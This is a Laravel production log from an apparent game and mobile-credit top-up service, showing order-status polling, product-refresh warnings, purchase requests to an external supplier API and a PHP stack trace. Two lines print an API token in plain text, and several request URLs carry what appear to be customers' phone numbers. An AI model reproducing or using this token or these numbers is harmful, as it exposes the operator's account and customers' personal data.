[2026-03-24 10:42:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"00bhfLzcKs576eDTzyxOF6PoWU0xHLdN","execution_time":"2026-03-24 10:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:42:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"00bhfLzcKs576eDTzyxOF6PoWU0xHLdN","execution_time":"2026-03-24 10:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:42:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"00bhfLzcKs576eDTzyxOF6PoWU0xHLdN","execution_time":"2026-03-24 10:42:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:44:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"K55fCdLqCGDFruFOXTtVwJU9nq2kKXpS","execution_time":"2026-03-24 10:44:01"} 
[2026-03-24 10:44:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"K55fCdLqCGDFruFOXTtVwJU9nq2kKXpS","execution_time":"2026-03-24 10:44:01","total_operations":1,"sites_count":1} 
[2026-03-24 10:44:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"K55fCdLqCGDFruFOXTtVwJU9nq2kKXpS","execution_time":"2026-03-24 10:44:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:44:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"K55fCdLqCGDFruFOXTtVwJU9nq2kKXpS","execution_time":"2026-03-24 10:44:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:44:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"K55fCdLqCGDFruFOXTtVwJU9nq2kKXpS","execution_time":"2026-03-24 10:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:44:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"K55fCdLqCGDFruFOXTtVwJU9nq2kKXpS","execution_time":"2026-03-24 10:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:44:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"K55fCdLqCGDFruFOXTtVwJU9nq2kKXpS","execution_time":"2026-03-24 10:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:44:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"K55fCdLqCGDFruFOXTtVwJU9nq2kKXpS","execution_time":"2026-03-24 10:44:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:44:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"K55fCdLqCGDFruFOXTtVwJU9nq2kKXpS","execution_time":"2026-03-24 10:44:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:45:02] production.INFO: Executing GetProducts task...  
[2026-03-24 10:45:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 10:45:02] production.INFO: Executing GetProducts task...  
[2026-03-24 10:45:04] production.INFO: async() رجع: true  
[2026-03-24 10:45:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 10:45:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 10:45:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 10:45:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 10:45:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 10:45:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 10:45:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 10:45:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 10:45:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 10:45:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 10:45:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 10:46:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"jRbgmSj7W68bMVZo5BaKTAXrsrgXarfz","execution_time":"2026-03-24 10:46:02"} 
[2026-03-24 10:46:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"jRbgmSj7W68bMVZo5BaKTAXrsrgXarfz","execution_time":"2026-03-24 10:46:02","total_operations":1,"sites_count":1} 
[2026-03-24 10:46:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"jRbgmSj7W68bMVZo5BaKTAXrsrgXarfz","execution_time":"2026-03-24 10:46:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:46:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"jRbgmSj7W68bMVZo5BaKTAXrsrgXarfz","execution_time":"2026-03-24 10:46:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:46:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"jRbgmSj7W68bMVZo5BaKTAXrsrgXarfz","execution_time":"2026-03-24 10:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"jRbgmSj7W68bMVZo5BaKTAXrsrgXarfz","execution_time":"2026-03-24 10:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:46:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"jRbgmSj7W68bMVZo5BaKTAXrsrgXarfz","execution_time":"2026-03-24 10:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:46:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"jRbgmSj7W68bMVZo5BaKTAXrsrgXarfz","execution_time":"2026-03-24 10:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:46:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"jRbgmSj7W68bMVZo5BaKTAXrsrgXarfz","execution_time":"2026-03-24 10:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:46:27] production.INFO: Constructing job for order: 178558  
[2026-03-24 10:46:29] production.INFO: Handling job for order: 178558  
[2026-03-24 10:46:29] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 10:46:29] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 10:46:29] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/44/params?qty=1&uuid=5cf0c5a6-7218-4186-b556-fa149d7f1f33&Player_ID=0992618685  
[2026-03-24 10:46:29] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/44/params?qty=1&uuid=5cf0c5a6-7218-4186-b556-fa149d7f1f33&Player_ID=0992618685","has_body":false} 
[2026-03-24 10:46:30] production.INFO: Operation sent successfully {"operation_id":163489,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-YeC-1774338390","amount":111.6259500000000031150193535722792148590087890625,"status":"processing","product":"105.77 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 10:46:30"}},"processed_data":{"order_number":"ORD-YeC-1774338390","amount":111.6259500000000031150193535722792148590087890625,"status":"processing","product":"105.77 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 10:47:53] production.INFO: Constructing job for order: 178559  
[2026-03-24 10:47:54] production.INFO: Handling job for order: 178559  
[2026-03-24 10:47:54] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 10:47:54] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 10:47:54] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/49/params?qty=1&uuid=9656c25e-a3aa-4f8b-9991-450f029a140d&Player_ID=0985604655  
[2026-03-24 10:47:54] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/49/params?qty=1&uuid=9656c25e-a3aa-4f8b-9991-450f029a140d&Player_ID=0985604655","has_body":false} 
[2026-03-24 10:47:55] production.INFO: Operation sent successfully {"operation_id":163490,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ODUk8K-1774338474","amount":169.46802999999999883584678173065185546875,"status":"processing","product":"160.58 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 10:47:55"}},"processed_data":{"order_number":"ORD-ODUk8K-1774338474","amount":169.46802999999999883584678173065185546875,"status":"processing","product":"160.58 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 10:48:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"nqgvMrGo2nou6RF2STdSCXZA9i8iVS0A","execution_time":"2026-03-24 10:48:01"} 
[2026-03-24 10:48:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"nqgvMrGo2nou6RF2STdSCXZA9i8iVS0A","execution_time":"2026-03-24 10:48:01","total_operations":3,"sites_count":2} 
[2026-03-24 10:48:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"nqgvMrGo2nou6RF2STdSCXZA9i8iVS0A","execution_time":"2026-03-24 10:48:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:48:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"nqgvMrGo2nou6RF2STdSCXZA9i8iVS0A","execution_time":"2026-03-24 10:48:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:48:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"nqgvMrGo2nou6RF2STdSCXZA9i8iVS0A","execution_time":"2026-03-24 10:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:48:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"nqgvMrGo2nou6RF2STdSCXZA9i8iVS0A","execution_time":"2026-03-24 10:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:48:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"nqgvMrGo2nou6RF2STdSCXZA9i8iVS0A","execution_time":"2026-03-24 10:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:48:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"nqgvMrGo2nou6RF2STdSCXZA9i8iVS0A","execution_time":"2026-03-24 10:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:48:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"nqgvMrGo2nou6RF2STdSCXZA9i8iVS0A","execution_time":"2026-03-24 10:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2,"order_ids":["ORD-YeC-1774338390","ORD-ODUk8K-1774338474"]} 
[2026-03-24 10:48:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"nqgvMrGo2nou6RF2STdSCXZA9i8iVS0A","execution_time":"2026-03-24 10:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:48:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"nqgvMrGo2nou6RF2STdSCXZA9i8iVS0A","execution_time":"2026-03-24 10:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":2} 
[2026-03-24 10:48:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"nqgvMrGo2nou6RF2STdSCXZA9i8iVS0A","execution_time":"2026-03-24 10:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ODUk8K-1774338474","operation_id":163490} 
[2026-03-24 10:48:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"nqgvMrGo2nou6RF2STdSCXZA9i8iVS0A","execution_time":"2026-03-24 10:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YeC-1774338390","operation_id":163489,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 10:48:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"nqgvMrGo2nou6RF2STdSCXZA9i8iVS0A","execution_time":"2026-03-24 10:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YeC-1774338390","operation_id":163489,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 10:48:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"nqgvMrGo2nou6RF2STdSCXZA9i8iVS0A","execution_time":"2026-03-24 10:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YeC-1774338390","operation_id":163489,"count":1} 
[2026-03-24 10:48:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"nqgvMrGo2nou6RF2STdSCXZA9i8iVS0A","execution_time":"2026-03-24 10:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YeC-1774338390","operation_id":163489,"count":1} 
[2026-03-24 10:48:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"nqgvMrGo2nou6RF2STdSCXZA9i8iVS0A","execution_time":"2026-03-24 10:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YeC-1774338390","operation_id":163489,"user_id":1320,"notification_type":"order_approved","reference_id":178558} 
[2026-03-24 10:48:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"nqgvMrGo2nou6RF2STdSCXZA9i8iVS0A","execution_time":"2026-03-24 10:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YeC-1774338390","operation_id":163489,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 10:48:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"nqgvMrGo2nou6RF2STdSCXZA9i8iVS0A","execution_time":"2026-03-24 10:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YeC-1774338390","operation_id":163489,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 10:48:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"nqgvMrGo2nou6RF2STdSCXZA9i8iVS0A","execution_time":"2026-03-24 10:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YeC-1774338390","operation_id":163489,"processed":1,"errors":0} 
[2026-03-24 10:48:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"nqgvMrGo2nou6RF2STdSCXZA9i8iVS0A","execution_time":"2026-03-24 10:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YeC-1774338390","operation_id":163489,"processed":1,"errors":0} 
[2026-03-24 10:48:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"nqgvMrGo2nou6RF2STdSCXZA9i8iVS0A","execution_time":"2026-03-24 10:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YeC-1774338390","operation_id":163489} 
[2026-03-24 10:48:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1320  
[2026-03-24 10:50:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"EifAH8g9p2oUd9XnXHHKFJfupVAwTHZL","execution_time":"2026-03-24 10:50:01"} 
[2026-03-24 10:50:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"EifAH8g9p2oUd9XnXHHKFJfupVAwTHZL","execution_time":"2026-03-24 10:50:01","total_operations":2,"sites_count":2} 
[2026-03-24 10:50:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"EifAH8g9p2oUd9XnXHHKFJfupVAwTHZL","execution_time":"2026-03-24 10:50:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 10:50:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"EifAH8g9p2oUd9XnXHHKFJfupVAwTHZL","execution_time":"2026-03-24 10:50:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 10:50:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"EifAH8g9p2oUd9XnXHHKFJfupVAwTHZL","execution_time":"2026-03-24 10:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 10:50:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"EifAH8g9p2oUd9XnXHHKFJfupVAwTHZL","execution_time":"2026-03-24 10:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:50:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"EifAH8g9p2oUd9XnXHHKFJfupVAwTHZL","execution_time":"2026-03-24 10:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 10:50:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"EifAH8g9p2oUd9XnXHHKFJfupVAwTHZL","execution_time":"2026-03-24 10:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 10:50:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"EifAH8g9p2oUd9XnXHHKFJfupVAwTHZL","execution_time":"2026-03-24 10:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":1,"order_ids":["ORD-ODUk8K-1774338474"]} 
[2026-03-24 10:50:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"EifAH8g9p2oUd9XnXHHKFJfupVAwTHZL","execution_time":"2026-03-24 10:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 10:50:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"EifAH8g9p2oUd9XnXHHKFJfupVAwTHZL","execution_time":"2026-03-24 10:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"orders_count":1} 
[2026-03-24 10:50:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"EifAH8g9p2oUd9XnXHHKFJfupVAwTHZL","execution_time":"2026-03-24 10:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ODUk8K-1774338474","operation_id":163490,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 10:50:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"EifAH8g9p2oUd9XnXHHKFJfupVAwTHZL","execution_time":"2026-03-24 10:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ODUk8K-1774338474","operation_id":163490,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 10:50:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"EifAH8g9p2oUd9XnXHHKFJfupVAwTHZL","execution_time":"2026-03-24 10:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ODUk8K-1774338474","operation_id":163490,"count":1} 
[2026-03-24 10:50:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"EifAH8g9p2oUd9XnXHHKFJfupVAwTHZL","execution_time":"2026-03-24 10:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ODUk8K-1774338474","operation_id":163490,"count":1} 
[2026-03-24 10:50:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"EifAH8g9p2oUd9XnXHHKFJfupVAwTHZL","execution_time":"2026-03-24 10:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ODUk8K-1774338474","operation_id":163490,"user_id":43,"notification_type":"order_approved","reference_id":178559} 
[2026-03-24 10:50:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"EifAH8g9p2oUd9XnXHHKFJfupVAwTHZL","execution_time":"2026-03-24 10:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ODUk8K-1774338474","operation_id":163490,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 10:50:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"EifAH8g9p2oUd9XnXHHKFJfupVAwTHZL","execution_time":"2026-03-24 10:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ODUk8K-1774338474","operation_id":163490,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 10:50:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"EifAH8g9p2oUd9XnXHHKFJfupVAwTHZL","execution_time":"2026-03-24 10:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ODUk8K-1774338474","operation_id":163490,"processed":1,"errors":0} 
[2026-03-24 10:50:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"EifAH8g9p2oUd9XnXHHKFJfupVAwTHZL","execution_time":"2026-03-24 10:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ODUk8K-1774338474","operation_id":163490,"processed":1,"errors":0} 
[2026-03-24 10:50:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"EifAH8g9p2oUd9XnXHHKFJfupVAwTHZL","execution_time":"2026-03-24 10:50:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ODUk8K-1774338474","operation_id":163490} 
[2026-03-24 10:50:01] production.INFO: Executing GetProducts task...  
[2026-03-24 10:50:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 10:50:01] production.INFO: Executing GetProducts task...  
[2026-03-24 10:50:04] production.INFO: async() رجع: true  
[2026-03-24 10:50:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 10:50:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 10:50:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 10:50:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 10:50:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 10:50:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 10:50:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 10:50:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 10:50:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 10:50:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 10:50:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 10:50:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 43  
[2026-03-24 10:50:35] production.ERROR: Call to a member function where() on null {"userId":1770,"exception":"[object] (Error(code: 0): Call to a member function where() on null at /home/talaah/public_html/app/Http/Controllers/Front/GameController.php:51)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Controller.php(54): App\\Http\\Controllers\\Front\\GameController->products('x')
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(43): Illuminate\\Routing\\Controller->callAction('products', Array)
#2 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(265): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route), Object(App\\Http\\Controllers\\Front\\GameController), 'products')
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Route.php(211): Illuminate\\Routing\\Route->runController()
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(822): Illuminate\\Routing\\Route->run()
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Routing\\Router->{closure:Illuminate\\Routing\\Router::runRouteWithinStack():821}(Object(Illuminate\\Http\\Request))
#6 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(72): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#8 /home/talaah/public_html/app/Http/Middleware/RequirePinVerification.php(172): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\RequirePinVerification->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#10 /home/talaah/public_html/app/Http/Middleware/TrackSessionActivity.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\TrackSessionActivity->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/VerifyCsrfToken.php(87): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\VerifyCsrfToken->handle(Object(Illuminate\\Http\\Request), Object(Closure))
